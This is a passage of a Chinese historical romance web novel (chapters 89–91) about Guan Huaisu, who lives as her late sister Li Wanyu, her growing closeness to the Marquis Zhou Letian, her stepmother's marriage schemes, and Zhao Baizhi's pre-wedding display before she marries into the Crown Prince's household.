若是周乐天愿意,如果当今圣人不在,他的身份、地位和才能,几乎能瞬间取这位太子殿下的地位而代之。 关怀素一直不明白,为什么她和祖父远在朝堂千里之外,都看得出来小侯爷绝不可能叛国,为何圣明烛照的圣人却不信,还亲眼看着明珠蒙尘。 到了此时此刻,关怀素终于看懂了——不是圣人信不信,而是圣人就只有这一个孩子,这个天下,只能交给太子。 而这样的太子,决计压不住当日的小侯爷。 所以,白壁必须有污,必须让他再也无法光风霁月地站在众人面前,最好还能为千夫所指,那么坐在高处的圣人,才能安心地把这个国家的权柄交给太子,而不杀小侯爷。 所以,这或许甚至是太后与圣人角逐之后的、最温柔的手段了。 只可惜,只可惜……那个沙场将军,不该这样的。 他如此耀眼,此生再也遇不到第二个。 他不该被摧毁在这些阴谋与权术平衡里。 关怀素看他嘴唇雪白,心中像是一把小刀在乱搅一般,只觉得不平,又难受。 她的眼神太直接,直接到周乐天都无法忽视,到赵白芷都看出来不对。 “我们也起来走走吧。”赵白芷怕人看出来不对,立刻便开口。 众人一起起身,仓促之中,关怀素感觉到赵白芷轻推了她一下,让她往小侯爷的面前走了几步,而后她听到赵白芷招呼着众人一起往前走,留下她和周乐天掉在了队伍最后面。 中途宋律似乎在往后看,宋兰前后张望了一下,不动声色地拦在了中间。 来福与柳叶都悄然放慢了脚步,远远坠在后头,一时之间,桃花林中,只有关怀素与周乐天并行。 第八十九章 女儿节(下) 二人并行,周乐天便看向关怀素的头顶,笑着说:“我猜得没错,这发冠极其衬你。” 关怀素闻言,不知为何有些羞赧,笑了笑,看着周乐天说:“再怎么打扮,也不及侯爷您姿容绝世。” 周乐天愕然,脸颊立刻浮现出薄粉来。 二人立于桃花林中,风呼啸而过,拂过漫天桃花,落英缤纷,周乐天本就姿容世所罕见,此时他一袭白衣立于这漫天花瓣之中,愈发像是一幅画般。 关怀素看得有些愣怔,就在这一刻,旁边却突然传来动静,却见漫天花瓣之中,一个精壮的麦色皮肤少年突然从中出现,踏花而来。 若不是先见到周乐天,只在此地先遇到这个少年人的话,应也觉得此人是个俊朗飒爽的男子。 可惜此刻珠玉在侧,关怀素只是好奇地看着突然过来的人。 这少年人穿着劲装骑服,看打扮似乎是西北那边的装束。 他左顾右盼,似乎在找人,等眼神到了这边时,愣了一下,到底还是挤出一个笑容来,站在几步之遥就停手拱手,笑着对关怀素行礼说:“姑娘安康,在下刘仁,是从西北来的行商,今儿与朋友来逛园子,不想竟与友人走散了,可否请问一下这皇家园林的海棠园往哪里走?” 三月正是海棠开放的时候,据说皇家园林里有几十种海棠花,这时候一定很美,关怀素也想去看看,正想说带着他一起过去时,却听到周乐天温声说:“那地方不好找,我叫手下带你去。” “岂敢劳烦贵人?”刘仁拒绝。 周乐天却难得十分强硬地说:“来福,你带着这位刘仁小公子去海棠园。” 来福早一溜烟地窜过来了,此时闻言,便十分不客气,冷冷地说:“这位小公子,这边请吧!” 刘仁不乐意,但还是没办法,只能被半强迫地带走了。 关怀素看出不对,轻声问:“侯爷认得此人?” 周乐天没想到她这么敏锐,神色微变,轻轻点头,说:“此人是公主的第二子。” 公主的第二子,便是大长公主那个举世皆知,身份尴尬的私生子了。 关怀素闻言,便轻声安慰:“侯爷无需为此人烦心,我观他心性跳脱,瞧着不是个能成事的。” 周乐天听她这么说,便知道关怀素完全理解错了自己的意思——他烦心的哪里是刘仁对他有什么影响,他烦心的是母亲的打算! 可是这些没影子的事情,周乐天并不想拿出来叫关怀素难过伤心,便只摇摇头,扯开话题:“不说他了,你可想去逛逛海棠园?” “当然!”关怀素眼睛立刻发亮,连忙点头,二人立刻结伴,一路往海棠园而去。 皇家海棠园内果然无数名花,海棠本就格外明艳,看得人目不暇接。 且周乐天与关怀素喜好相似,连看到海棠想起的诗词都差不多,两人时常一个开口,另一个便已经接上了另一句。 二人说话之间,一时竟愈发亲热,不时相视一笑,气氛十分融洽。 就在走到墙角开着的芙蓉树下时,关怀素和周乐天却同时听到了一阵低泣声。 两人都是吓了一跳! 下一刻,便听到一个女子甜如蜜糖的声音,轻声嗔怪地说:“二哥哥,你就会欺负人家。” “方才是我不对,吓到妹妹了,二哥哥给你赔罪!”而后是一个男子笑得十分浪荡的声音,带着狎昵说,“妹妹可还心口疼?” “是啊,蓉儿心还在怦怦跳呢!二哥哥太坏了!”女子继续撒娇地说。 …… 这声音,是赵二郎和婉蓉。 关怀素听出来了,周乐天当然也听出来了,关怀素立刻给周乐天使了个眼色,悄悄拉着他的衣摆,转身从这拐角走了出去。 周乐天出来之后,还是面红耳赤,不知道说什么,憋得脸红脖子粗。 倒是关怀素笑了,说:“侯爷可吓到了?” “荒唐!白日昭昭的,简直、简直下流!”周乐天臊的都快不知道骂什么了,又安慰关怀素,“听说你那二妹妹是小娘跟前养大的,果然是没教养,放心,这赖不到你身上!” 关怀素却笑了笑,摇头,说:“侯爷可去过楚地?” 周乐天一愣。 关怀素笑着说:“楚地民风彪悍,男女谈笑谈情,怡然不避。” 周乐天不知道她要说什么,关怀素叹了口气,轻声说:“年少慕艾,本是常事,先皇在时,男女有意订婚之后,调笑打闹,也不是什么问题。若是有情人彼此有意,只能算太大胆了些。这里头唯一可惜的是,婉蓉找的人不对。” 周乐天没想到关怀素是这么想的,而后突然想起来——是了,这才是她。 她不是京师里被教导的谨小慎微的李婉玉,她是被关怀远带着走遍大江南北、看过西北的风沙,也走过岭南的瘴气的关怀素。 她心中才没有什么家里妹妹做出伤风败俗的事情,可不要牵连到我的想法。 她的目光很高很远,有工学、有百姓,有大漠孤烟,也有江南烟雨,但是唯独没有面前的这些规矩。 且,周乐天想了一下,点头说:“你说得对,若是我心爱之人与我如此调笑,我也并不觉得下流无耻。” 他又说:“但是赵二郎不是能托付终身之人。” 二人都是如此觉得,可是这事儿谁能管得住呢? 关怀素才不会管,她嘲讽地笑了一下,说:“是啊,但是关我们什么事呢?” 赵二郎与婉蓉再调情嬉闹,也不会违背父母的意思娶婉蓉,这一点关怀素看得很清楚。 可是到时候被指责的可不是自己,关怀素乐见其成。 而且,她轻声说:“我们既然能撞上,这里人这么多,未必便没有其他人听到他们做的事情,到时候是谁名声差,可不关我们的事。” 说完,她笑嘻嘻地说:“侯爷可觉得我刻薄寡义,连自己的妹妹也不关心?” 她看着周乐天,看着他每一个反应。 却见周乐天摇头,认真地说:“我曾在宴会不止一次见你被家里妹妹刁难,她们若有情,你也不会冷漠以待。是她们伤了你的心。” 毕竟,真正的李婉玉曾经遭受过什么,他虽然知道得不多,却依旧完全猜得出来。 关怀素的眼神一下子软了下来,她笑了一下,没有说话。 而就在这个时候,旁边却传来了另一人的对话,却是宋律在冷声说:“你方才就对我冷嘲热讽,又是什么意思?” “哪里哪里,公子虽然眼神不好,却嫉恶如仇,是未来朝廷栋梁,小女子怎敢不敬?”宋兰嘲讽的声音传来,阴阳怪气的感觉十足。 “你什么意思?”宋律气得跳脚,怒声说。 “我什么意思?方才赵妹妹与太子说姐姐在身后,你就在那里冷笑,我反倒想问你是什么意思?”宋兰怒气冲冲地说。 “怎么,她眼看缠不上太子,便立刻转向平安侯,难道不算是汲汲营营?”宋律却更生气了,怒声说,“如今大家都瞧着长公主和县主给她撑腰,个个都像是忘了这回事一般,我却还知道她是什么性子!” “是啊,全天下只有你宋三公子一个是清清白白,就你一个什么都懂!”宋兰冷笑一声,说,“蠢猪都是这样的,脑子里认定一个想法,便什么都看不到了,毕竟太过愚蠢就是这样!” “你!”宋律怒急,想说什么,后头却传来有女孩子叫宋兰的声音,听着是包子脸,宋兰便飞快过去了。 只剩下宋律一个人被丢在原地,他那小厮问去哪里,他冷声说:“回去,真正是晦气,这宋家女娘和李家那大姑娘一般,都是个牙尖嘴利、心怀叵测的!” 周乐天听到这里,便立刻要上前去说话,却被关怀素拦住了。 宴席即将尾声,二人便要告别,周乐天带着关怀素找程娘子,送她与家人汇合。 远远看到程娘子的时候,周乐天说:“不要在乎那些嚼舌根的。” 他还是在想宋律的事情,怕关怀素难过。 关怀素愣了一下,而后一笑,轻声说:“我不在意,侯爷也当如是。” 周乐天一愣。 关怀素温声说:“侯爷盖世英雄,会为小人嚼舌而心中愤懑吗?” 其实是会的。 当全世界都在说你通敌叛国、厚颜无耻假冒军功的时候,一个人很难抵御那种庞大的痛苦和质疑。 但是关怀素温声说:“我问心无愧,既有清风明月为证,何须与庸人辩驳?” “姑娘心中高洁。”周乐天轻声说,“我不如姑娘。” 关怀素摇摇头,笑了笑,说:“我有您信我、有姨母和公主疼爱我,自然心中有底气。” 周乐天抬眼看她,便听到她温声说:“除了清风明月,有眼前友人信你,侯爷,您可还好些?” 周乐天一愣,而后温柔一笑。 他点点头,轻声说:“好太多了,多谢。” 他原以为那道伤口此生都难以愈合,想起来都能翻江倒海。 但是没想到,没有任何激烈的言语,或是生死之间的大彻大悟。 他居然真的这么神奇的,在这平凡普通的一瞬间里,突然感觉到那道溃烂了几年、几乎把他劈为两半的旧伤,突然一瞬间没有那么疼了。 当然不会这么简单愈合。 可是在这一刻,在几年之后,这是他第一次想到那些流言、误解的时候,没有心脏痛得快要昏过去。 清风明月为证,天地与眼前人为证,他问心无愧,原也是无需自厌自弃的。 二人相视一笑,一切尽在不言中。 却不知道,远处有几个人看到了这一幕。 程娘子与宋兰是纯然开心,偷偷相视一笑,赵白芷神色复杂,宋律是鄙夷。 婉蓉却恨得牙痒痒,婉淑则是看看婉蓉、再看看赵二郎、再看看关怀素,面上庄重,实则眼神发狠。 第九十章 各房盘算 “娘,大姐姐的婚事不能拖了!”婉淑到家之后,进了东院屋子第一句话,便是这句。 “今儿个发生什么事情了?”孙大娘子在与夫人们交际,并不知道,便立刻发问。 “大姐姐与平安侯瞧着真的不对劲。”婉淑把白日所见都说了,又压低声音说,“娘安排的与刘仁见面,那商贾不顶事,竟是压根没说几句就叫平安侯身边那侍卫给带走了。” 孙大娘子一听,也立刻皱起眉,细问一下,立刻点头,说:“你说得对,这事儿我得抓紧,不能节外生枝。” 婉淑这才放下心来,孙大娘子便问:“你今儿可见着赵二郎了?” 说到这个,婉淑一肚子气,怒声说:“二姐姐真正是不要脸!今儿个我们一起赏花,她自个儿走到二哥哥身后,结果自己没站稳跌倒了,二哥哥便陪着她在原地坐着,我本来想陪着,她却硬说不舒服,叫我去马车给她拿带来的益气丸。结果等我回来,她和二哥哥不知去哪里了,竟一下午都不见人!” 婉淑说完,怒声说:“但是我回来见二哥哥手上拿着二姐姐的帕子……她、她真是不要脸!” 孙大娘子听到这里,也皱起眉,说:“崔小娘那套狐媚子功夫,她倒是学了个十成十!” “阿娘,怎么办啊?”婉淑心中担心,说,“若是二哥哥铁了心要娶二姐姐,那赵家定然也是顺她的心思的。” 婉淑这会子脑子清楚了,明白了如今除了大姐姐,她和婉蓉在富贵人家看起来都是一样的,差不了多少。 “她那等品行,当个妾是合适,谁家主母娶个这等玩意儿?”孙大娘子却摇头,说,“你放心,此事成不了!” 又安慰婉淑一番,才叫婉淑回屋休息了。 “多注意一下西院的,叫点墨那丫头出去的时候,也多注意下婉蓉行事。”孙大娘子吩咐。 “娘子的意思是?”扶芳有些疑惑地问。 “男子都爱色,虽西院那手段上不得台面,就怕赵二郎年轻气盛,真的上了心。”孙大娘子寒着脸说,“得想办法叫她们娘两个都不能再蹦跶。” 扶芳这才明白,立刻点点头,伺候了孙大娘子睡下,出去吩咐不提。 崔小娘那边,听婉蓉说今儿个事情,不免也说到今儿个关怀素与周乐天过从甚密的事情。 婉蓉妒恨,崔小娘却笑了笑,说:“谁家儿郎喜欢一个女子,会叫她去地下踩那陈年污泥,弄得一身蜘蛛网回来?你别把心思放在你大姐姐身上,平安侯瞧着根本没看上她,不过是使唤她罢了!” 以崔小娘看起来,男子爱一个女人,自然是如珠似宝地捧着,在后宅里金尊玉贵地养着,她先头还有些忌惮,昨儿个晚上听说大姑娘臭烘烘地回来之后,立刻便大笑几声,彻底把心放下了。 “可是……”婉蓉想说她看着真的不是的,平安侯那眼神都快黏在大姐姐身上了! 但是崔小娘只催着问赵二郎如何,口气可松了? 婉蓉就点点头,脸上飞起云霞,轻声说:“我说二哥哥不理我,我心里难受,开始他还有些生气,后来、后来我哄了哄,他就跟我说,他还是最喜欢我,要跟家里说,要娶我……” 说到这里,婉蓉想到白日自己如何“哄”赵二郎,也不由得浮现出羞窘。 不敢叫小娘发现,只搅着帕子。 崔小娘闻言,立刻喜笑颜开,说:“看,还是把爷们那边笼络好了,自然就什么都顺了!” 又叮嘱:“快回去歇着,今儿累了一天了,明日还要去赵家上课呢。可别叫二郎看到你容色憔悴的样子!” 婉蓉立刻点头去休息不提。 热热闹闹的女儿节过去了,第二天依然去赵家上学。 只是今儿是最后一天了,赵白芷月底就要大婚,到底要留时间备嫁。 刘嬷嬷上完最后一堂茶艺课,最后慈爱地看了她们一眼,叫身边小丫鬟拿了四条莲花结来,说:“给你们上了半年课,还以为你们年纪小,未来还有许多日子,没想到咱们缘分竟这么浅,今儿最后一面,便拿这莲花结当作留恋吧。” 四人接过,齐声行礼谢师,依依不舍地看着刘嬷嬷转身离去了。 便是婉蓉这会子都有些不舍,扭着帕子轻声说:“日后怕是见不到刘嬷嬷了。” “是呢。”婉淑也轻声附和,十分遗憾。 “我们姐妹,日后只怕也见得少了。”赵白芷马上要出阁,闻言心中怅惘,忍不住开口说,“明儿个开始,也不能一起上学了。” 她还只是临出阁的伤心,可是这话听在婉蓉婉淑耳朵里,却又格外不一样。 她们想到的是赵白芷马上要成为太子良娣,日后见面,就要向这位昔日同窗下跪请安了,从此人生云泥之别,竟是天翻地覆般的光景。 婉蓉瞬间压抑不住的妒色,婉淑则是愈发恭敬。 赵白芷素来聪明,哪里看不出来自己一句话,让二人心态转变? 她便立刻收了话,笑着对众人说:“此番一别,诸位姐妹要多多珍重。还望未来能再见面,咱们调香赏画,围炉煮茶,再细说闲话。” “哎呀,何至于说得如此悲怆,瞧着像是咱们要出去打仗了。”关怀素笑着说,“妹妹你嫁了人,日后难道也不愿意递个帖子出来,叫我们也去太子府内开开眼界、吃点稀罕的点心饭菜?” 这一番话,说的赵白芷心中郁气一下子被冲散了,噗嗤一声笑出声来,说:“知道姐姐喜欢吃鸭子,他日若寻到好的,定不忘了姐姐。” 二人嬉笑一番,说了几句话,气氛顿时一松,这才依依不舍地道别。 今日一别,再次相见,已经就要到出嫁晒妆那日了。 那时候满京师的官眷都在,可能也轮不到她们私下说什么了。 关怀素瞧着婉蓉婉淑已经离去,她落在最后面,拉着赵白芷,悄悄塞了一卷薄薄的书册过去。 赵白芷好奇地一打开,才发现是一卷曲谱,名为《定风波》。 “昨儿才知道姐姐音律一道厉害,这是我祖……外祖父昔日珍藏的前朝曲谱,乃是南山真人晚年的琴谱。”关怀素轻声说,“此曲宁静悠远,我外祖父弹起时,总让我心神安宁。东西不值钱,今日送给姐姐做添妆,愿姐姐无论身处何时何地,最终都能心中风波定,乐享余生。” “南山真人的琴谱,可比一般钱财金贵。”赵白芷仔细一看,顿时爱不释手,又看着关怀素,神色动容地说,“婉玉姐姐的意思,白芷明白了,白芷一定好好过日子。” 陛下圣旨无法违逆,她不是傻子,哪怕再难受,她也会咬牙好好过。 不过有人如此关切自己,她还是很感动,拉着关怀素轻声说:“姐姐可说的是真的,日后若是我给你递帖子,你定会来?” “当然,只要我得空,我必然来!”关怀素心中也很喜欢赵白芷这个落落大方又温柔大度的姑娘,认真承诺道。 赵白芷顿时就开心了,难得露出了一个十分灿烂的笑容,点头说:“好,我记下了,还望来日姐姐不要嫌弃我事儿多。” “哪能呢!”关怀素回答。 二人在廊下相视一笑,一切尽在不言中。 离开赵家,关怀素便上了周乐天的马车,依旧是一番忙碌,又在地下踩了满身的淤泥。 就是这个时候,叶英突然过来了。 说是大长公主就在对街,请她过去说话。 关怀素当时就一愣,周乐天想一起过去,却被叶英阻止了,轻声说:“不是坏事。” 说完,关怀素也只能迟疑一下,跟了上去。 走在路上的时候,叶英见她神色有些不安,主动开口,轻声说:“姑娘,殿下最近接到了下面传来的事情,京郊最近出了个布坊,织布速度快、棉布紧实、造价低廉,惹到了一些人的眼光……这事儿殿下不是故意查的,只是您在寺外差点出事之后,她便拨了一批人保护您的安全,结果误打误撞地发现了这是您的人。” 关怀素一听,登时舒了口气,心中明白了,说:“可是最近收留流民,动作大了些叫人盯上了?” 叶英点头,说:“殿下赶过去的时候,差点见到您手下那妈妈和他儿子叫人抓走,好在没出什么大事。” 关怀素一听,立刻便后背生出冷汗来,说:“真是老天保佑!” 知道来龙去脉,关怀素便放下心来,到了对面之后见到大长公主,立刻便蹲身下来请安道谢。 大长公主穿着一身玄色常服,腰系白绸,头上万年不变的随手束发。 见到关怀素过来,她笑了一下,说:“在我面前还用行礼?” 关怀素便笑着落落大方地站起来,说:“便是家里长辈庇护,婉玉心里感激,自然也要谢的。这是发乎本心,并不是客套。” 大长公主闻言,笑容更是加深了几分,点头说:“你是个好孩子。” 又招手,说:“过来。” 关怀素走过去,大长公主这才看清楚她脸上的脏污和一些淤泥,立刻皱眉,说:“乐天那混账怎地能让你弄成这样?他欺负你了?!” “不是不是!”关怀素忙把水道的事情说了,又说,“是我自己瞧着流民那边为了做工的事情竟闹出事情,便想着加快速度,到底也能帮一部分人,这才如此。” 大长公主神色立刻更柔和了,突然说:“那伯娘想请你帮个忙,玉儿你可愿意?” 关怀素一愣,大长公主叹了口气,展开了桌上的一幅卷轴,示意关怀素看。 关怀素一看,轻声说:“这里头全是人名?” “是,全是因伤退役的将士。”大长公主叹了口气,说:“我手下许多将士都是女子,伤残退役之后,若是脑子活泛或是不那么严重的,还能勉强糊口,若是一些伤重又不善经营的,便只能随便找人嫁了,寻口饭吃。她们都是百战精兵,最后落得如此下场,我心中难安。” 关怀素意识到了大长公主的意思,迟疑地问:“殿下是否想依托织布坊,安置些伤病?” “我不是想安置一点,我是想把这事办成产业。”大长公主点头,说,“你那飞梭机做得极好,布料昂贵,许多百姓一直无衣可穿,若是能推广天下,这产业足以养活无数人,且惠泽万民。” 这确实是没错,关怀素点点头,她微微有些迟疑地看着大长公主,轻声说:“殿下此举,圣人可知道?” 大长公主微微一愣,而后不知是想到了什么,微笑了一下,说:“你放心吧。” 关怀素也不好追问,只能点点头,接了这活计。 她忧心忡忡地走了,大长公主看着她离开,笑了笑,说:“不愧是老师一手养大的,行事谨慎,和老师如出一辙。” 叶英在旁边垂眸听着,就听到大长公主冷声说:“给我继续往下查,婉玉到底是怎么死的,还有当初素素的死到底有没有问题!还有,当初我吩咐叫留在京师照顾婉玉的那帮人,到底都是怎么照顾的!” 说到最后,已经显出杀意。 叶英听到这里,也立刻点头,说:“是!” 又迟疑地轻声说:“当初京师的人是飞星公子的手下,如今很多都是小公子那边的,若是小公子阻挠……” 大长公主却冷下脸,说:“我说了,查到底!” 叶英便知道,公主动了真怒。 毕竟一开始不知道李婉玉已经死了,如今面前这个居然是关素问的另外一个女儿,且婉玉不明不白死在京师,还是被下人欺辱虐待……近些日子叶英什么都没做,就顺着钟妈妈和孙文书的身份觉得不对劲开始查,越查越是惊心动魄,越查越是心中愤怒! 叶英都恨得牙痒痒,别提一直与关素问长大、对关素问格外不同的大长公主了! 这之前,大长公主从未回京,但是也一直未曾担心过婉玉的生活,因为她一直以为自己每年节年都有送年礼,还留了公主府的人给婉玉撑腰。 可谁能想到,飞星公子作为大长公主最为信任的手下、最宠爱的一个人,居然在这件事情上会阳奉阴违? 便是叶英都没想到! 叶英看大长公主愤怒,想了想,又问:“殿下,那过几日小公子与怀素姑娘见面的事情,还有婚事……” 叶英的想法,飞星既然当初这么做,若是叫关怀素知道,姐姐的日子过成这样还有飞星在里面横插一脚,肯定无法心平气和。 那么她若是和刘仁成婚,日后少不得要出事。 大长公主显然也觉得此事有些不好弄了,她皱眉,轻声说:“先叫他们见一见,看看什么情况。一切……都等查出来当年到底是什么情况再说。” 她叹了口气,轻声说:“飞星走得早,也许是没交代好,或是中间有什么事情耽搁了。” 叶英却不这么认为,她说:“飞星公子走的时候,大姑娘已经五岁了,当时他的手下也说一切都十分好,这里头,未必没有他的意思。” 大长公主却说:“我知道你不喜欢飞星,但是他对我忠心耿耿,此事我意已决,你不必再提。” 叶英只能咽下自己没说完的话。 那头孙大娘子正在说起关怀素的婚事。 “娘子,今儿个小姨奶奶又来说了,说是马夫人请您一同踏青。”扶芳晚上一边给孙大娘子拆头发,一边轻声说。 “回了,叫她日后不许再和我说这事儿!”孙大娘子没好气地说,“闹成这样,我没找她麻烦就算好了!” 说完又说:“过两天约了那西北的商人,再见一面,赶紧把婚事定了,把人弄去西北。” 扶芳立刻点头。 那边孙大娘子安排完毕,第二天庞家小姨知道后,在家叫苦不迭——那马家公子上回落水回去之后,很是病了一场不说,那日的消息也传了出去,名声益发坏了。 如今都要离京了,这媳妇的人影都没有,前几日马家夫人已经言语之中带着逼迫,说她若是再不想个办法,便只能叫她女儿跟着去滁州了,否则她夫君那捕快也别做了,一家人便去喝风去。 庞小姨虽然是想巴结这位夫人,日后谋个好前程,可她不心疼别人的女儿,却心疼自个儿的姑娘,怎能愿意把自己亲骨肉推入火坑? 本来还想着再做个说客,如今却听孙大娘子一口拒绝得彻底,甚至连新的人选都有了,一时心中大急。 第九十一章 赵白芷晒妆 那边这群人忙得团团转,关怀素并不在意,她第二天在城外,见到了早早在等待她的钟妈妈与师兄。 “姑娘,你可受惊了?”钟妈妈一见到她,立刻一把抓着她上下打量,然后紧张地问。 关怀素登时眼圈红了,声音一下子哽咽住,说:“妈妈,你们可还好?可曾被吓到?” “我们还好,那天公主亲自造访,并未惊动其他人。”孙文书见母亲情绪激动,便温声解释,“侯爷昨儿晚上得知,连夜接了我们,就是怕你心里担心,你看,我们好好的。” “多谢你。”关怀素心中感念,忍不住郑重对周乐天说。 周乐天却并不居功,只叫她和家里人说说话,自己带着来福出去逛逛。 “我们一切都好,只是我被抓之后,耽误了给陆家送信,此事我又不敢随便托人,便找了京师里的那友人,叫他给送去了,耽搁了半个月,许是要等一阵才能知道消息了。”孙文书愧疚地说。 “都什么时候了,师兄还担心这个!”关怀素又好气又好笑,说,“如今先顾着眼前吧!” “此仇必报。”孙文书却认真地说,“若是陆先生那边不行,我再找找黄老,师妹你放心,此事若是师傅在,定然也是要报仇雪恨的。” 关怀素闻言鼻酸,含泪点头。 见了面,心里大定之后,孙文书与钟妈妈便被公主接走,关怀素与周乐天携手返京,又开始忙碌起来。 时间匆匆而过,很快到了赵白芷婚期,也到了要晒妆的日子。 李家几个姑娘都是同窗,又是两家交好,自然全数在被邀请之列。 未来的太子良娣要出嫁,满京师能拿到帖子的人家全数来了,来来去去的人流水一般,热闹非凡。 不过那都是外头的,姑娘们都齐齐地在赵白芷院子里给她道贺。 赵白芷今儿穿着已经与往日完全不同,身上穿戴全数已经是宫廷式样,衣服首饰全是内造,整个人端坐在上首,神色虽然含着笑,但是隐隐已经完全变成了上位者淡然温和的模样。 与之前的一团和气瞧着一样,骨子里却已经完全不同。 关怀素瞧着都忍不住心中感慨,上前去道贺,赵白芷眼前一亮,拉着她的手亲热地说:“姐姐坐在我身边吧。” 周围都是些比自己身份高的闺秀,关怀素犹豫了一秒,赵白芷便笑眯眯地说了句:“姐姐坐吧,过几日我出了门子,还能与姐妹们见几次呢?” 这话一说,关怀素便不推拒,在她身边坐下来,然后轻声说:“妹妹今儿可真好看。” “是啊,不愧是宫中内造的东西,瞧着真的是精致。”旁边便有姑娘跟着笑嘻嘻地恭维,大家都一起道贺。 说了一会子话,便是晒妆的时候,东西全数摆在院子里,满满当当全数是嫁妆,足足一百二十抬,只比太子妃的嫁妆少了8抬意思一下。 里头又是首饰又是田庄地契,瞧着富贵惊人。 毕竟是嫁入皇家呢。 众多闺秀再次意识到了,日后与赵白芷身份差距便更大了,于是愈发说话做事小心奉承起来,赵白芷心中有数,便笑着对众人说:“今儿天气好,我们家花园子里许多花都开了,大家伙儿别拘在屋里,都去逛逛吧,一会儿我们再一起吃酒。” 众人一听,都十分喜悦,一起结伴出去,赵白芷只留了关怀素在屋里,说是叫她帮忙选后日出门子要用的东西。 大家都明白这是出门子之前想和小姐妹最后说说私房话,众人心中都暗暗妒忌,怎地就关怀素得了未来太子良娣的喜欢,面上却不敢随便说话,一路被丫鬟们带着出去了。 等到众人都离开,屋子里安静下来,赵白芷脸上完美的笑容瞬间垮了下来。 关怀素瞧着心中难受,又不知道怎么劝她。 毕竟她也知道,太子七情不开,赵白芷嫁过去,外人看着风光,实则不知道内里多少委屈。 想了想,关怀素便轻声安抚她:“太子虽……但是我瞧着,他应当脾性不坏的……” “不坏,但是我听说他痴迷音律,府中收集了无数好琴,也收集了无数会音律的美人。上回女儿节差点就叫宋妹妹回去了,姐姐也看到了……”赵白芷在关怀素面前不再伪装,眼圈一红,轻声说,“据说太子妃不得他喜欢,后宅之中管事的是内务府出来的管家,最得宠的一个姬妾还是从礼部官员后宅里抢出来的……” 这些事情关怀素还是第一次听说,她早知道太子好色名声在外,但是也不知道他如此荒淫。 但是七情不开之人,素来不可以常理度之,寻常人家还有人管教,但是这可是当朝太子! 赵白芷日后日子可想而知,难怪她表面喜气洋洋,没了人立刻落泪。 谁家女儿家要嫁这样的人不害怕呢? 可是,这可是圣人赐婚,而且事已至此,是真的一点转圜余地都没有了,关怀素瞧着心中难受,却不知道怎么安慰赵白芷,只能握住她的手,轻声说:“白芷妹妹,若我有什么能帮上你的,你只管说。” 赵白芷心中凄楚,也知道此事无法改变,只是全世界都在为她要当上太子良娣开心,此刻能听到关怀素这么一句话,她立刻潸然泪下,哽咽地轻声说:“家里人只高兴我攀上高枝,我稍微露出些不高兴,就被斥责,便有姐姐这句话,也叫我心中好受多了。” 她说完,泪珠子像是止不住一样一直流,关怀素知道她心中凄苦难言,一把抱住她。 赵白芷顿时更是委屈,哇的一声大哭出来。 这一哭总算是叫赵白芷心中那股郁愤发泄了出来,哭完看着关怀素担忧的眼神,赵白芷收拾好心情,拿帕子擦泪,边说:“姐姐不必太过忧心,我就是心里难受,但是我也知道,日子都是人过出来的。” 好日子坏日子,既然都是无法选择,那便拼尽全力,在逆境里为自己活出一片安稳的小天地,便也算是不错了。 关怀素听她如此说,知道赵白芷心思沉静,已经是调整好了心态。 她忍不住感佩地说:“妹妹养气功夫实在是厉害,易地而处,我却不一定能如妹妹一般镇静。” 赵白芷看她的样子,她心中其实还是忘不了乐天哥哥,可是她却又是个极聪慧的人,她很会看人。 所以那么久,也就眼前的婉玉姐姐入了她的眼,叫她觉得可以一交。 因此赵白芷压着心里的酸楚,捏着帕子,对关怀素说:“姐姐可不要落得我这个地步。容我托大说句话,姐姐心里也该有所打算才是……前不久我阿娘说起来,说我的事儿了了,今年也要定下我二哥的婚事。” 关怀素一愣,但是又知道这算是水到渠成的事情,两家已经有了默契好几年,婉淑明年春天也要及笄,若要定亲,这时候也该顺水推舟定下来了。 “母亲原本属意姐姐,可是姐姐既然不愿,这些日子私下说起来,定的应是淑妹妹。”赵白芷与关怀素也算是推心置腹了,她轻声说,“姐姐与小侯爷的事情,也该快些定下才是,淑妹妹婚事定下来前夕,家里定要定下姐姐的婚事,若是生了波折,反而不好了。” 关怀素听到这里,登时一愣。 她心中一时迷茫,问:“我与小侯爷有什么事?” 赵白芷以为她在装相,说:“姐姐与我还装什么?” 再看关怀素的脸,竟然是一丝一毫都没作假。 赵白芷登时愣住了,脱口而出说:“姐姐,那日上元节,乐天哥哥亲口承认他送了你定情发冠,总不能有假吧?” “不是,那东西不是定情信物,侯爷说是送我的及笄贺礼……”关怀素说着,自己也觉得迷茫了。 她突然意识到了——周乐天对她很好很好。 他一直都十分关心她,送她及笄礼物,让她的才华得以为圣人所知,若说这些都是关照故旧,那明月夜下的眼神、前些日子连夜帮自己接到了钟妈妈和孙师兄……如果真的细思起来,确实超过了对故旧后人的照拂程度。 关怀素突然脸色惨白,她突然意识到了一件可怕的事情——周乐天不会一直都对姐姐有好感吧?!! 若是如此,那她与侯爷那等相处,岂不是平白地闹出了天大的误会?! 关怀素想到这里,心中剧震,一时竟手足无措。 毕竟,她是李代桃僵,她不是李婉玉啊! 关怀素心思混乱,赵白芷心中愕然,她自小与周乐天一起长大,怎么看不出来,乐天哥哥绝对是对婉玉姐姐极其心动。 可是婉玉姐姐却否认了二人情愫。 赵白芷登时心急,忍不住追问:“婉玉姐姐,难道你看不上小侯爷?” “这是什么话!小侯爷如此英雄人物,天下谁人看不上他?”关怀素脱口而出,想都不想地回答。 “那你为何不考虑一下嫁给小侯爷?嫁给小侯爷,总比随便嫁给其他人好吧?”赵白芷认真地给关怀素分析,想说服她做出最理智的选择,“姐姐,你家中的那位继母并不是好相与的,我近日都听到了为你择婿的风声。想来她给你相看的人家,也绝对及不上小侯爷。” 见关怀素不为所动,赵白芷忍不住便急声又说:“姐姐难道是等着县主给你做主不成?县主如今虽有身份,但是婚姻大事,左右绕不过父母的,姐姐可千万不要耽搁了好姻缘!” 关怀素看她着急,心中虽然剧震,却也立刻抓住她的手,苦笑一下,说:“妹妹,我与小侯爷,不太可能。此事你不要再提了。” “可是姐姐不怕到时候被随意定个人家吗?”赵白芷担心地说,“女儿家这辈子最紧要的就是嫁人这件事,这可关系到我们一辈子啊!” 关怀素不好解释自己身份的问题、周乐天喜欢的人可能是姐姐的问题,她此刻心中从未如此苦涩,如同口含黄连一般,只能勉强说:“这事儿我心里有数,妹妹你只管放心。” 赵白芷心中有无数话语想说,可恰好此时,丫鬟从外头进来,说客人都已经进院子坐席,夫人让她们快些过去。 二人只能立刻收拾情绪,携手出门。 偏就在这个时候,突然响起喧哗之音。 “姑娘,小侯爷带着太后与圣人的赏赐登门了!”赵府的老妈妈大喊着,满面红光地看到赵白芷就是一礼,而后喜气洋洋地汇报,“赏赐了好多东西呢!姑娘快准备好接旨吧!” 